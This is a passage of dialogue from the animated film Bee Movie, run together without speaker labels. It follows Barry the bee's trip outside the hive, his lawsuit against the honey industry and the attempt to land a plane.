"dawg"! I'm so proud. We're starting work today! Today's the day. Come on! All the good jobs will be gone. Yeah, right. Pollen counting, stunt bee, pouring, stirrer, front desk, hair removal... Is it still available? Hang on. Two left! One of them's yours! Congratulations! Step to the side. What'd you get? Picking crud out. Stellar! Wow! Couple of newbies? Yes, sir! Our first day! We are ready! Make your choice. You want to go first? No, you go. Oh, my. What's available? Restroom attendant's open, not for the reason you think. Any chance of getting the Krelman? Sure, you're on. I'm sorry, the Krelman just closed out. Wax monkey's always open. The Krelman opened up again. What happened? A bee died. Makes an opening. See? He's dead. Another dead one. Deady. Deadified. Two more dead. Dead from the neck up. Dead from the neck down. That's life! Oh, this is so hard! Heating, cooling, stunt bee, pourer, stirrer, humming, inspector number seven, lint coordinator, stripe supervisor, mite wrangler. Barry, what do you think I should... Barry? Barry! All right, we've got the sunflower patch in quadrant nine... What happened to you? Where are you? I'm going out. Out? Out where? Out there. Oh, no! I have to, before I go to work for the rest of my life. You're gonna die! You're crazy! Hello? Another call coming in. If anyone's feeling brave, there's a Korean deli on 83rd that gets their roses today. Hey, guys. Look at that. Isn't that the kid we saw yesterday? Hold it, son, flight deck's restricted. It's OK, Lou. We're gonna take him up. Really? Feeling lucky, are you? Sign here, here. Just initial that. Thank you. OK. You got a rain advisory today, and as you all know, bees cannot fly in rain. So be careful. As always, watch your brooms, hockey sticks, dogs, birds, bears and bats. Also, I got a couple of reports of root beer being poured on us. Murphy's in a home because of it, babbling like a cicada! That's awful. And a reminder for you rookies, bee law number one, absolutely no talking to humans! All right, launch positions! Buzz, buzz, buzz, buzz! Buzz, buzz, buzz, buzz! Buzz, buzz, buzz, buzz! Black and yellow! Hello! You ready for this, hot shot? Yeah. Yeah, bring it on. Wind, check. Antennae, check. Nectar pack, check. Wings, check. Stinger, check. Scared out of my shorts, check. OK, ladies, let's move it out! Pound those petunias, you striped stem-suckers! All of you, drain those flowers! Wow! I'm out! I can't believe I'm out! So blue. I feel so fast and free! Box kite! Wow! Flowers! This is Blue Leader, We have roses visual. Bring it around 30 degrees and hold. Roses! 30 degrees, roger. Bringing it around. Stand to the side, kid. It's got a bit of a kick. That is one nectar collector! Ever see pollination up close? No, sir. I pick up some pollen here, sprinkle it over here. Maybe a dash over there, a pinch on that one. See that? It's a little bit of magic. That's amazing. Why do we do that? That's pollen power. More pollen, more flowers, more nectar, more honey for us. Cool. I'm picking up a lot of bright yellow, Could be daisies, Don't we need those? Copy that visual. Wait. One of these flowers seems to be on the move. Say again? You're reporting a moving flower? Affirmative. That was on the line! This is the coolest. What is it? I don't know, but I'm loving this color. It smells good. Not like a flower, but I like it. Yeah, fuzzy. Chemical-y. Careful, guys. It's a little grabby. My sweet lord of bees! Candy-brain, get off there! Problem! Guys! This could be bad. Affirmative. Very close. Gonna hurt. Mama's little boy. You are way out of position, rookie! Coming in at you like a missile! Help me! I don't think these are flowers. Should we tell him? I think he knows. What is this?! Match point! You can start packing up, honey, because you're about to eat it! Yowser! Gross. There's a bee in the car! Do something! I'm driving! Hi, bee. He's back here! He's going to sting me! Nobody move. If you don't move, he won't sting you. Freeze! He blinked! Spray him, Granny! What are you doing?! Wow... the tension level out here is unbelievable. I gotta get home. Can't fly in rain. Can't fly in rain. Can't fly in rain. Mayday! Mayday! Bee going down! Ken, could you close the window please? Ken, could you close the window please? Check out my new resume. I made it into a fold-out brochure. You see? Folds out. Oh, no. More humans. I don't need this. What was that? Maybe this time. This time. This time. This time! This time! This... Drapes! That is diabolical. It's fantastic. It's got all my special skills, even my top-ten favorite movies. What's number one? Star Wars? Nah, I don't go for that... kind of stuff. No wonder we shouldn't talk to them. They're out of their minds. When I leave a job interview, they're flabbergasted, can't believe what I say. There's the sun. Maybe that's a way out. I don't remember the sun having a big 75 on it. I predicted global warming. I could feel it getting hotter. At first I thought it was just me. Wait! Stop! Bee! Stand back. These are winter boots. Wait! Don't kill him! You know I'm allergic to them! This thing could kill me! Why does his life have less value than yours? Why does his life have any less value than mine? Is that your statement? I'm just saying all life has value. You don't know what he's capable of feeling. My brochure! There you go, little guy. I'm not scared of him.It's an allergic thing. Put that on your resume brochure. My whole face could puff up. Make it one of your special skills. Knocking someone out is also a special skill. Right. Bye, Vanessa. Thanks. Vanessa, next week? Yogurt night? Sure, Ken. You know, whatever. You could put carob chips on there. Bye. Supposed to be less calories. Bye. I gotta say something. She saved my life. I gotta say something. All right, here it goes. Nah. What would I say? I could really get in trouble. It's a bee law. You're not supposed to talk to a human. I can't believe I'm doing this. I've got to. Oh, I can't do it. Come on! No. Yes. No. Do it. I can't. How should I start it? "You like jazz?" No, that's no good. Here she comes! Speak, you fool! Hi! I'm sorry. You're talking. Yes, I know. You're talking! I'm so sorry. No, it's OK. It's fine. I know I'm dreaming. But I don't recall going to bed. Well, I'm sure this is very disconcerting. This is a bit of a surprise to me. I mean, you're a bee! I am. And I'm not supposed to be doing this, but they were all trying to kill me. And if it wasn't for you... I had to thank you. It's just how I was raised. That was a little weird. I'm talking with a bee. Yeah. I'm talking to a bee. And the bee is talking to me! I just want to say I'm grateful. I'll leave now. Wait! How did you learn to do that? What? The talking thing. Same way you did, I guess. "Mama, Dada, honey." You pick it up. That's very funny. Yeah. Bees are funny. If we didn't laugh, we'd cry with what we have to deal with. Anyway... Can I... get you something? Like what? I don't know. I mean... I don't know. Coffee? I don't want to put you out. It's no trouble. It takes two minutes. It's just coffee. I hate to impose. Don't be ridiculous! Actually, I would love a cup. Hey, you want rum cake? I shouldn't. Have some. No, I can't. Come on! I'm trying to lose a couple micrograms. Where? These stripes don't help. You look great! I don't know if you know anything about fashion. Are you all right? No. He's making the tie in the cab as they're flying up Madison. He finally gets there. He runs up the steps into the church. The wedding is on. And he says, "Watermelon? I thought you said Guatemalan. Why would I marry a watermelon?" Is that a bee joke? That's the kind of stuff we do. Yeah, different. So, what are you gonna do, Barry? About work? I don't know. I want to do my part for The Hive, but I can't do it the way they want. I know how you feel. You do? Sure. My parents wanted me to be a lawyer or a doctor, but I wanted to be a florist. Really? My only interest is flowers. Our new queen was just elected with that same campaign slogan. Anyway, if you look... There's my hive right there. See it? You're in Sheep Meadow! Yes! I'm right off the Turtle Pond! No way! I know that area. I lost a toe ring there once. Why do girls put rings on their toes? Why not? It's like putting a hat on your knee. Maybe I'll try that. You all right, ma'am? Oh, yeah. Fine. Just having two cups of coffee! Anyway, this has been great. Thanks for the coffee. Yeah, it's no trouble. Sorry I couldn't finish it. If I did, I'd be up the rest of my life. Are you...? Can I take a piece of this with me? Sure! Here, have a crumb. Thanks! Yeah. All right. Well, then... I guess I'll see you around. Or not. OK, Barry. And thank you so much again... for before. Oh, that? That was nothing. Well, not nothing, but... Anyway... This can't possibly work. He's all set to go. We may as well try it. OK, Dave, pull the chute. Sounds amazing. It was amazing! It was the scariest, happiest moment of my life. Humans! I can't believe you were with humans! Giant, scary humans! What were they like? Huge and crazy. They talk crazy. They eat crazy giant things. They drive crazy. Do they try and kill you, like on TV? Some of them. But some of them don't. How'd you get back? Poodle. You did it, and I'm glad. You saw whatever you wanted to see. You had your "experience." Now you can pick out yourjob and be normal. Well... Well? Well, I met someone. You did? Was she Bee-ish? A wasp?! Your parents will kill you! No, no, no, not a wasp. Spider? I'm not attracted to spiders. I know it's the hottest thing, with the eight legs and all. I can't get by that face. So who is she? She's... human. No, no. That's a bee law. You wouldn't break a bee law. Her name's Vanessa. Oh, boy. She's so nice. And she's a florist! Oh, no! You're dating a human florist! We're not dating. You're flying outside The Hive, talking to humans that attack our homes with power washers and M-80s! One-eighth a stick of dynamite! She saved my life! And she understands me. This is over! Eat this. This is not over! What was that? They call it a crumb. It was so stingin' stripey! And that's not what they eat. That's what falls off what they eat! You know what a Cinnabon is? No. It's bread and cinnamon and frosting. They heat it up... Sit down! ...really hot! Listen to me! We are not them! We're us. There's us and there's them! Yes, but who can deny the heart that is yearning? There's no yearning. Stop yearning. Listen to me! You have got to start thinking bee, my friend. Thinking bee! Thinking bee. Thinking bee. Thinking bee! Thinking bee! Thinking bee! Thinking bee! There he is. He's in the pool. You know what your problem is, Barry? I gotta start thinking bee? How much longer will this go on? It's been three days! Why aren't you working? I've got a lot of big life decisions to think about. What life? You have no life! You have no job. You're barely a bee! Would it kill you to make a little honey? Barry, come out. Your father's talking to you. Martin, would you talk to him? Barry, I'm talking to you! You coming? Got everything? All set! Go ahead. I'll catch up. Don't be too long. Watch this! Vanessa! We're still here. I told you not to yell at him. He doesn't respond to yelling! Then why yell at me? Because you don't listen! I'm not listening to this. Sorry, I've gotta go. Where are you going? I'm meeting a friend. A girl? Is this why you can't decide? Bye. I just hope she's Bee-ish. They have a huge parade of flowers every year in Pasadena? To be in the Tournament of Roses, that's every florist's dream! Up on a float, surrounded by flowers, crowds cheering. A tournament. Do the roses compete in athletic events? No. All right, I've got one. How come you don't fly everywhere? It's exhausting. Why don't you run everywhere? It's faster. Yeah, OK, I see, I see. All right, your turn. TiVo. You can just freeze live TV? That's insane! You don't have that? We have Hivo, but it's a disease. It's a horrible, horrible disease. Oh, my. Dumb bees! You must want to sting all those jerks. We try not to sting. It's usually fatal for us. So you have to watch your temper. Very carefully. You kick a wall, take a walk, write an angry letter and throw it out. Work through it like any emotion: Anger, jealousy, lust. Oh, my goodness! Are you OK? Yeah. What is wrong with you?! It's a bug. He's not bothering anybody. Get out of here, you creep! What was that? A Pic 'N' Save circular? Yeah, it was. How did you know? It felt like about 10 pages. Seventy-five is pretty much our limit. You've really got that down to a science. I lost a cousin to Italian Vogue. I'll bet. What in the name of Mighty Hercules is this? How did this get here? cute Bee, Golden Blossom, Ray Liotta Private Select? Is he that actor? I never heard of him. Why is this here? For people. We eat it. You don't have enough food of your own? Well, yes. How do you get it? Bees make it. I know who makes it! And it's hard to make it! There's heating, cooling, stirring. You need a whole Krelman thing! It's organic. It's our-ganic! It's just honey, Barry. Just what?! Bees don't know about this! This is stealing! A lot of stealing! You've taken our homes, schools,hospitals! This is all we have! And it's on sale?! I'm getting to the bottom of this. I'm getting to the bottom of all of this! Hey, Hector. You almost done? Almost. He is here. I sense it. Well, I guess I'll go home now and just leave this nice honey out, with no one around. You're busted, box boy! I knew I heard something. So you can talk! I can talk. And now you'll start talking! Where you getting the sweet stuff? Who's your supplier? I don't understand. I thought we were friends. The last thing we want to do is upset bees! You're too late! It's ours now! You, sir, have crossed the wrong sword! You, sir, will be lunch for my iguana, Ignacio! Where is the honey coming from? Tell me where! Honey Farms! It comes from Honey Farms! Crazy person! What horrible thing has happened here? These faces, they never knew what hit them. And now they're on the road to nowhere! Just keep still. What? You're not dead? Do I look dead? They will wipe anything that moves. Where you headed? To Honey Farms. I am onto something huge here. I'm going to Alaska. Moose blood, crazy stuff. Blows your head off! I'm going to Tacoma. And you? He really is dead. All right. Uh-oh! What is that?! Oh, no! A wiper! Triple blade! Triple blade? Jump on! It's your only chance, bee! Why does everything have to be so doggone clean?! How much do you people need to see?! Open your eyes! Stick your head out the window! From NPR News in Washington, I'm Carl Kasell. But don't kill no more bugs! Bee! Moose blood guy!! You hear something? Like what? Like tiny screaming. Turn off the radio. Whassup, bee boy? Hey, Blood. Just a row of honey jars, as far as the eye could see. Wow! I assume wherever this truck goes is where they're getting it. I mean, that honey's ours. Bees hang tight. We're all jammed in. It's a close community. Not us, man. We on our own. Every mosquito on his own. What if you get in trouble? You a mosquito, you in trouble. Nobody likes us. They just smack. See a mosquito, smack, smack! At least you're out in the world. You must meet girls. Mosquito girls try to trade up, get with a moth, dragonfly. Mosquito girl don't want no mosquito. You got to be kidding me! Mooseblood's about to leave the building! So long, bee! Hey, guys! Mooseblood! I knew I'd catch y'all down here. Did you bring your crazy straw? We throw it in jars, slap a label on it, and it's pretty much pure profit. What is this place? A bee's got a brain the size of a pinhead. They are pinheads! Pinhead. Check out the new smoker. Oh, sweet. That's the one you want. The Thomas 3000! Smoker? Ninety puffs a minute, semi-automatic. Twice the nicotine, all the tar. A couple breaths of this knocks them right out. They make the honey, and we make the money. "They make the honey, and we make the money"? Oh, my! What's going on? Are you OK? Yeah. It doesn't last too long. Do you know you're in a fake hive with fake walls? Our queen was moved here. We had no choice. This is your queen? That's a man in women's clothes! That's a drag queen! What is this? Oh, no! There's hundreds of them! Bee honey. Our honey is being brazenly stolen on a massive scale! This is worse than anything bears have done! I intend to do something. Oh, Barry, stop. Who told you humans are taking our honey? That's a rumor. Do these look like rumors? That's a conspiracy theory. These are obviously doctored photos. How did you get mixed up in this? He's been talking to humans. What? Talking to humans?! He has a human girlfriend. And they make out! Make out? Barry! We do not. You wish you could. Whose side are you on? The bees! I dated a cricket once in San Antonio. Those crazy legs kept me up all night. Barry, this is what you want to do with your life? I want to do it for all our lives. Nobody works harder than bees! Dad, I remember you coming home so overworked your hands were still stirring. You couldn't stop. I remember that. What right do they have to our honey? We live on two cups a year. They put it in lip balm for no reason whatsoever! Even if it's true, what can one bee do? Sting them where it really hurts. In the face! The eye! That would hurt. No. Up the nose? That's a killer. There's only one place you can sting the humans, one place where it matters. Hive at Five, The Hive's only full-hour action news source. No more bee beards! With Bob Bumble at the anchor desk. Weather with Storm Stinger. Sports with Buzz Larvi. And Jeanette Chung. Good evening. I'm Bob Bumble. And I'm Jeanette Ohung. A tri-county bee, Barry Benson, intends to sue the human race for stealing our honey, packaging it and profiting from it illegally! Tomorrow night on Bee Larry King, we'll have three former queens here in our studio, discussing their new book, classy Ladies, out this week on Hexagon. Tonight we're talking to Barry Benson. Did you ever think, "I'm a kid from The Hive. I can't do this"? Bees have never been afraid to change the world. What about Bee Oolumbus? Bee Gandhi? Bejesus? Where I'm from, we'd never sue humans. We were thinking of stickball or candy stores. How old are you? The bee community is supporting you in this case, which will be the trial of the bee century. You know, they have a Larry King in the human world too. It's a common name. Next week... He looks like you and has a show and suspenders and colored dots... Next week... Glasses, quotes on the bottom from the guest even though you just heard 'em. Bear Week next week! They're scary, hairy and here live. Always leans forward, pointy shoulders, squinty eyes, very Jewish. In tennis, you attack at the point of weakness! It was my grandmother, Ken. She's 81. Honey, her backhand's a joke! I'm not gonna take advantage of that? Quiet, please. Actual work going on here. Is that that same bee? Yes, it is! I'm helping him sue the human race. Hello. Hello, bee. This is Ken. Yeah, I remember you. Timberland, size ten and a half. Vibram sole, I believe. Why does he talk again? Listen, you better go 'cause we're really busy working. But it's our yogurt night! Bye-bye. Why is yogurt night so difficult?! You poor thing. You two have been at this for hours! Yes, and Adam here has been a huge help. Frosting... How many sugars? Just one. I try not to use the competition. So why are you helping me? Bees have good qualities. And it takes my mind off the shop. Instead of flowers, people are giving balloon bouquets now. Those are great, if you're three. And artificial flowers. Oh, those just get me psychotic! Yeah, me too. Bent stingers, pointless pollination. Bees must hate those fake things! Nothing worse than a daffodil that's had work done. Maybe this could make up for it a little bit. This lawsuit's a pretty big deal. I guess. You sure you want to go through with it? Am I sure? When I'm done with the humans, they won't be able to say, "Honey, I'm home," without paying a royalty! It's an incredible scene here in downtown Manhattan, where the world anxiously waits, because for the first time in history, we will hear for ourselves if a honeybee can actually speak. What have we gotten into here, Barry? It's pretty big, isn't it? I can't believe how many humans don't work during the day. You think billion-dollar multinational food companies have good lawyers? Everybody needs to stay behind the barricade. What's the matter? I don't know, I just got a chill. Well, if it isn't the bee team. You boys work on this? All rise! The Honorable Judge Bumbleton presiding. All right. Case number 4475, Superior Court of New York, Barry Bee Benson v. the Honey Industry is now in session. Mr. Montgomery, you're representing the five food companies collectively? A privilege. Mr. Benson... you're representing all the bees of the world? I'm kidding. Yes, Your Honor, we're ready to proceed. Mr. Montgomery, your opening statement, please. Ladies and gentlemen of the jury, my grandmother was a simple woman. Born on a farm, she believed it was man's divine right to benefit from the bounty of nature God put before us. If we lived in the topsy-turvy world Mr. Benson imagines, just think of what would it mean. I would have to negotiate with the silkworm for the elastic in my britches! Talking bee! How do we know this isn't some sort of holographic motion-picture-capture Hollywood wizardry? They could be using laser beams! Robotics! Ventriloquism! Cloning! For all we know, he could be on steroids! Mr. Benson? Ladies and gentlemen, there's no trickery here. I'm just an ordinary bee. Honey's pretty important to me. It's important to all bees. We invented it! We make it. And we protect it with our lives. Unfortunately, there are some people in this room who think they can take it from us 'cause we're the little guys! I'm hoping that, after this is all over, you'll see how, by taking our honey, you not only take everything we have but everything we are! I wish he'd dress like that all the time. So nice! Call your first witness. So, Mr. Klauss Vanderhayden of Honey Farms, big company you have. I suppose so. I see you also own Honeyburton and Honron! Yes, they provide beekeepers for our farms. Beekeeper. I find that to be a very disturbing term. I don't imagine you employ any bee-free-ers, do you? No. I couldn't hear you. No. No. Because you don't free bees. You keep bees. Not only that, it seems you thought a bear would be an appropriate image for a jar of honey. They're very lovable creatures. Yogi Bear, Fozzie Bear, Build-A-Bear. You mean like this? Bears kill bees! How'd you like his head crashing through your living room?! Biting into your couch! Spitting out your throw pillows! OK, that's enough. Take him away. So, Mr. Sting, thank you for being here. Your name intrigues me. Where have I heard it before? I was with a band called The Police. But you've never been a police officer, have you? No, I haven't. No, you haven't. And so here we have yet another example of bee culture casually stolen by a human for nothing more than a prance-about stage name. Oh, please. Have you ever been stung, Mr. Sting? Because I'm feeling a little stung, Sting. Or should I say... Mr. Gordon M. Sumner! That's not his real name?! You idiots! Mr. Liotta, first, belated congratulations on your Emmy win for a guest spot on ER in 2005. Thank you. Thank you. I see from your resume that you're devilishly handsome with a churning inner turmoil that's ready to blow. I enjoy what I do. Is that a crime? Not yet it isn't. But is this what it's come to for you? Exploiting tiny, helpless bees so you don't have to rehearse your part and learn your lines, sir? Watch it, Benson! I could blow right now! This isn't a goodfella. This is a badfella! Why doesn't someone just step on this creep, and we can all go home?! Order in this court! You're all thinking it! Order! Order, I say! Say it! Mr. Liotta, please sit down! I think it was awfully nice of that bear to pitch in like that. I think the jury's on our side. Are we doing everything right, legally? I'm a florist. Right. Well, here's to a great team. To a great team! Well, hello. Ken! Hello. I didn't think you were coming. No, I was just late I tried to call, but... the battery. I didn't want all this to go to waste, so I called Barry. Luckily, he was free. Oh, that was lucky. There's a little left. I could heat it up. Yeah, heat it up, sure, whatever. So I hear you're quite a tennis player. I'm not much for the game myself. The ball's a little grabby. That's where I usually sit. Right... there. Ken, Barry was looking at your resume, and he agreed with me that eating with chopsticks isn't really a special skill. You think I don't see what you're doing? I know how hard it is to find the right job. We have that in common. Do we? Bees have 100 percent employment, but we do jobs like taking the crud out. That's just what I was thinking about doing. Ken, I let Barry borrow your razor for his fuzz. I hope that was all right. I'm going to drain the old stinger. Yeah, you do that. Look at that. You know, I've just about had it with your little Mind Games. What's that? Italian Vogue. Mamma mia, that's a lot of pages. A lot of ads. Remember what Van said, why is your life more valuable than mine? Funny, I just can't seem to recall that! I think something stinks in here! I love the smell of flowers. How do you like the smell of flames?! Not as much. Water bug! Not taking sides! Ken, I'm wearing a Chapstick hat! This is pathetic! I've got issues! Well, well, well, a royal flush! You're bluffing. Am I? Surf's up, dude! Poo water! That bowl is gnarly. Except for those dirty yellow rings! Kenneth! What are you doing?! You know, I don't even like honey! I don't eat it! We need to talk! He's just a little bee! And he happens to be the nicest bee I've met in a long time! Long time? What are you talking about?! Are there other bugs in your life? No, but there are other things bugging me in life. And you're one of them! Fine! Talking bees, no yogurt night... My nerves are fried from riding on this emotional roller coaster! Goodbye, Ken. And for your information, I prefer sugar-free, artificial sweeteners made by man! I'm sorry about all that. I know it's got an aftertaste! I like it! I always felt there was some kind of barrier between Ken and me. I couldn't overcome it. Oh, well. Are you OK for the trial? I believe Mr. Montgomery is about out of ideas. We would like to call Mr. Barry Benson Bee to the stand. Good idea! You can really see why he's considered one of the best lawyers... Yeah. Layton, you've gotta weave some magic with this jury, or it's gonna be all over. Don't worry. The only thing I have to do to turn this jury around is to remind them of what they don't like about bees. You got the tweezers? Are you allergic? Only to losing, son. Only to losing. Mr. Benson Bee, I'll ask you what I think we'd all like to know. What exactly is your relationship to that woman? We're friends. Good friends? Yes. How good? Do you live together? Wait a minute... Are you her little... bedbug? I've seen a bee documentary or two. From what I understand, doesn't your queen give birth to all the bee children? Yeah, but... So those aren't your real parents! Oh, Barry... Yes, they are! Hold me back! You're an illegitimate bee, aren't you, Benson? He's denouncing bees! Don't y'all date your cousins? Objection! I'm going to pincushion this guy! Adam, don't! It's what he wants! Oh, I'm hit!! Oh, lordy, I am hit! Order! Order! The venom! The venom is coursing through my veins! I have been felled by a winged beast of destruction! You see? You can't treat them like equals! They're striped savages! Stinging's the only thing they know! It's their way! Adam, stay with me. I can't feel my legs. What Angel of Mercy will come forward to suck the poison from my heaving buttocks? I will have order in this court. Order! Order, please! The case of the honeybees versus the human race took a pointed Turn Against the bees yesterday when one of their legal team stung Layton T. Montgomery. Hey, buddy. Hey. Is there much pain? Yeah. I... I blew the whole case, didn't I? It doesn't matter. What matters is you're alive. You could have died. I'd be better off dead. Look at me. They got it from the cafeteria downstairs, in a tuna sandwich. Look, there's a little celery still on it. What was it like to sting someone? I can't explain it. It was all... All adrenaline and then...and then ecstasy! All right. You think it was all a trap? Of course. I'm sorry. I flew us right into this. What were we thinking? Look at us. We're just a couple of bugs in this world. What will the humans do to us if they win? I don't know. I hear they put the roaches in motels. That doesn't sound so bad. Adam, they check in, but they don't check out! Oh, my. Could you get a nurse to close that window? Why? The smoke. Bees don't smoke. Right. Bees don't smoke. Bees don't smoke! But some bees are smoking. That's it! That's our case! It is? It's not over? Get dressed. I've gotta go somewhere. Get back to the court and stall. Stall any way you can. And assuming you've done step correctly, you're ready for the tub. Mr. Flayman. Yes? Yes, Your Honor! Where is the rest of your team? Well, Your Honor, it's interesting. Bees are trained to fly haphazardly, and as a result, we don't make very good time. I actually heard a funny story about... Your Honor, haven't these ridiculous bugs taken up enough of this court's valuable time? How much longer will we allow these absurd shenanigans to go on? They have presented no compelling evidence to support their charges against my clients, who run legitimate businesses. I move for a complete dismissal of this entire case! Mr. Flayman, I'm afraid I'm going to have to consider Mr. Montgomery's motion. But you can't! We have a terrific case. Where is your proof? Where is the evidence? Show me the smoking gun! Hold it, Your Honor! You want a smoking gun? Here is your smoking gun. What is that? It's a bee smoker! What, this? This harmless little contraption? This couldn't hurt a fly, let alone a bee. Look at what has happened to bees who have never been asked, "Smoking or non?" Is this what nature intended for us? To be forcibly addicted to smoke machines and man-made wooden slat work camps? Living out our lives as honey slaves to the white man? What are we gonna do? He's playing the species card. Ladies and gentlemen, please, free these bees! Free the bees! Free the bees! Free the bees! Free the bees! Free the bees! The court finds in favor of the bees! Vanessa, we won! I knew you could do it! High-five! Sorry. I'm OK! You know what this means? All the honey will finally belong to the bees. Now we won't have to work so hard all the time. This is an unholy perversion of the balance of nature, Benson. You'll regret this. Barry, how much honey is out there? All right. One at a time. Barry, who are you wearing? My sweater is Ralph Lauren, and I have no pants. What if Montgomery's right? What do you mean? We've been living the bee way a long time, 27 million years. Congratulations on your victory. What will you demand as a settlement? First, we'll demand a complete shutdown of all bee work camps. Then we want back the honey that was ours to begin with, every last drop. We demand an end to the glorification of the bear as anything more than a filthy, smelly, bad-breath stink machine. We're all aware of what they do in the woods. Wait for my signal. Take him out. He'll have nauseous for a few hours, then he'll be fine. And we will no longer tolerate bee-negative nicknames... But it's just a prance-about stage name! ...unnecessary inclusion of honey in bogus health products and la-dee-da human tea-time snack garnishments. Can't breathe. Bring it in, boys! Hold it right there! Good. Tap it. Mr. Buzzwell, we just passed three cups and there's gallons more coming! I think we need to shut down! Shut down? We've never shut down. Shut down honey production! Stop making honey! Turn your key, sir! What do we do now? Cannonball! We're shutting honey production! Mission abort. Aborting pollination and nectar detail. Returning to base. Adam, you wouldn't believe how much honey was out there. Oh, yeah? What's going on? Where is everybody? Are they out celebrating? They're home. They don't know what to do. Laying out, sleeping in. I heard your Uncle Carl was on his way to San Antonio with a cricket. At least we got our honey back. Sometimes I think, so what if humans liked our honey? Who wouldn't? It's the greatest thing in the world! I was excited to be part of making it. This was my new desk. This was my new job. I wanted to do it really well. And now... Now I can't. I don't understand why they're not happy. I thought their lives would be better! They're doing nothing. It's amazing. Honey really changes people. You don't have any idea what's going on, do you? What did you want to show me? This. What happened here? That is not the half of it. Oh, no. Oh, my. They're all wilting. Doesn't look very good, does it? No. And whose fault do you think that is? You know, I'm gonna guess bees. Bees? Specifically, me. I didn't think bees not needing to make honey would affect all these things. It's not just flowers. Fruits, vegetables, they all need bees. That's our whole SAT test right there. Take away produce, that affects the entire animal kingdom. And then, of course... The human species? So if there's no more pollination, it could all just go south here, couldn't it? I know this is also partly my fault. How about a suicide pact? How do we do it? I'll sting you, you step on me. That just kills you twice. Right, right. Listen, Barry... sorry, but I gotta get going. I had to open my mouth and talk. Vanessa? Vanessa? Why are you leaving? Where are you going? To the final Tournament of Roses parade in Pasadena. They've moved it to this weekend because all the flowers are dying. It's the Last Chance I'll ever have to see it. Vanessa, I just wanna say I'm sorry. I never meant it to turn out like this. I know. Me neither. Tournament of Roses. Roses can't do sports. Wait a minute. Roses. Roses? Roses! Vanessa! Roses?! Barry? Roses are flowers! Yes, they are. Flowers, bees, pollen! I know. That's why this is the last parade. Maybe not. Could you ask him to slow down? Could you slow down? Barry! OK, I made a huge mistake. This is a total disaster, all my fault. Yes, it kind of is. I've ruined the planet. I wanted to help you with the flower shop. I've made it worse. Actually, it's completely closed down. I thought maybe you were remodeling. But I have another idea, and it's greater than my previous ideas combined. I don't want to hear it! All right, they have the roses, the roses have the pollen. I know every bee, plant and flower bud in this park. All we gotta do is get what they've got back here with what we've got. Bees. Park. Pollen! Flowers. Repollination! Across the nation! Tournament of Roses, Pasadena, California. They've got nothing but flowers, floats and cotton candy. Security will be tight. I have an idea. Vanessa Bloome, FTD. Official floral business. It's real. Sorry, ma'am. Nice brooch. Thank you. It was a gift. Once inside, we just pick the right float. How about The Princess and the Pea? I could be the princess, and you could be the pea! Yes, I got it. Where should I sit? What are you? I believe I'm the pea. The pea? It goes under the mattresses. Not in this fairy tale, sweetheart. I'm getting the marshal. You do that! This whole parade is a fiasco! Let's see what this baby'll do. Hey, what are you doing?! Then all we do is blend in with traffic... without arousing suspicion. Once at the airport, there's no stopping us. Stop! Security. You and your insect pack your float? Yes. Has it been in your possession the entire time? Would you remove your shoes? Remove your stinger. It's part of me. I know. Just having some fun. Enjoy your flight. Then if we're lucky, we'll have just enough pollen to do the job. Can you believe how lucky we are? We have just enough pollen to do the job! I think this is gonna work. It's got to work. Attention, passengers, this is Captain Scott. We have a bit of bad weather in New York. It looks like we'll experience a couple hours delay. Barry, these are cut flowers with no water. They'll never make it. I gotta get up there and talk to them. Be careful. Can I get help with the Sky Mall magazine? I'd like to order the talking inflatable nose and ear hair trimmer. Captain, I'm in a real situation. What'd you say, Hal? Nothing. Bee! Don't freak out! My entire species... What are you doing? Wait a minute! I'm an attorney! Who's an attorney? Don't move. Oh, Barry. Good afternoon, passengers. This is your captain. Would a Miss Vanessa Bloome in 24B please report to the cockpit? And please hurry! What happened here? There was a DustBuster, a toupee, a life raft exploded. One's bald, one's in a boat, they're both unconscious! Is that another bee joke? No! No one's flying the plane! This is JFK control tower, Flight 356. What's your status? This is Vanessa Bloome. I'm a florist from New York. Where's the pilot? He's unconscious, and so is the copilot. Not good. Does anyone onboard have flight experience? As a matter of fact, there is. Who's that? Barry Benson. From the honey trial?! Oh, great. Vanessa, this is nothing more than a big metal bee. It's got giant wings, huge engines. I can't fly a plane. Why not? Isn't John Travolta a pilot? Yes. How hard could it be? Wait, Barry! We're headed into some lightning. This is Bob Bumble. We have some late-breaking news from JFK Airport, where a suspenseful scene is developing. Barry Benson, fresh from his legal victory... That's Barry! ...is attempting to land a plane, loaded with people, flowers and an incapacitated flight crew. Flowers?! We have a storm in the area and two individuals at the controls with absolutely no flight experience. Just a minute. There's a bee on that plane. I'm quite familiar with Mr. Benson and his no-account compadres. They've done enough damage. But isn't he your only hope? Technically, a bee shouldn't be able to fly at all. Their wings are too small... Haven't we heard this a million times? "The surface area of the wings and body mass make no sense." Get this on the air! Got it. Stand by. We're going live. The way we work may be a mystery to you. Making honey takes a lot of bees doing a lot of small jobs. But let me tell you about a small job. If you do it well, it makes a big difference. More than we realized. To us, to everyone. That's why I want to get bees back to working together. That's the bee way! We're not made of Jell-O. We get behind a fellow. Black and yellow! Hello! Left, right, down, hover. Hover? Forget hover. This isn't so hard. Beep-beep! Beep-beep! Barry, what happened?! Wait, I think we were on autopilot the whole time. That may have been helping me. And now we're not! So it turns out I cannot fly a plane. All of you, let's get behind this fellow! Move it out! Move out! Our only chance is if I do what I'd do, you copy me with the wings of the plane! Don't have to yell. I'm not yelling! We're in a lot of trouble. It's very hard to concentrate with that panicky tone in your voice! It's not a tone. I'm panicking! I can't do this! Vanessa, pull yourself together. You have to snap out of it! You snap out of it. You snap out of it. You snap out of it! You snap out of it! You snap out of it! You snap out of it! You snap out of it! You snap out of it! Hold it! Why? Come on, it's my turn. How is the plane flying? I don't know. Hello? Benson, got any flowers for a happy occasion in there? The Pollen Jocks! They do get behind a fellow. Black and yellow. Hello. All right, let's drop this tin can on the blacktop. Where? I can't see anything. Can you? No, nothing. It's all cloudy. Come on. You got to think bee, Barry. Thinking bee. Thinking bee. Thinking bee! Thinking bee! Thinking bee! Wait a minute. I think I'm feeling something. What? I don't know. It's strong, pulling me. Like a 27-million-year-old instinct. Bring the nose down. Thinking bee! Thinking bee! Thinking bee! What in the world is on the tarmac? Get some lights on that! Thinking bee! Thinking bee! Thinking bee! Vanessa, aim for the flower. OK. Cut the engines. We're going in on bee power. Ready, boys? Affirmative! Good. Good. Easy, now. That's it. Land on that flower! Ready? Full reverse! Spin it around! Not that flower! The other one! Which one? That flower. I'm aiming at the flower! That's a fat guy in a flowered shirt. I mean the giant pulsating flower made of millions of bees! Pull forward. Nose down. Tail up. Rotate around it. This is insane, Barry! This's the only way I know how to 